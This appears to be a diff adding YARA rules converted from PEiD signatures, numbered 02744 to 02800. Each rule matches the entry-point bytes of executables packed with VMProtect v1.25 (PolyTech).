+rule PEiD_02744_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02745_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02746_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02747_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02748_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02749_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02750_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02751_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02752_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02753_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02754_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02755_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02756_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02757_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02758_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02759_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02760_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02761_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02762_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02763_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02764_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02765_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02766_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02767_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02768_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02769_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02770_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02771_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02772_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02773_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02774_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02775_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02776_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02777_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02778_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02779_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02780_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02781_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02782_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02783_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02784_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02785_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02786_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02787_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02788_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02789_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02790_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02791_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02792_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02793_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02794_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02795_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02796_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02797_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02798_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02799_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02800_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
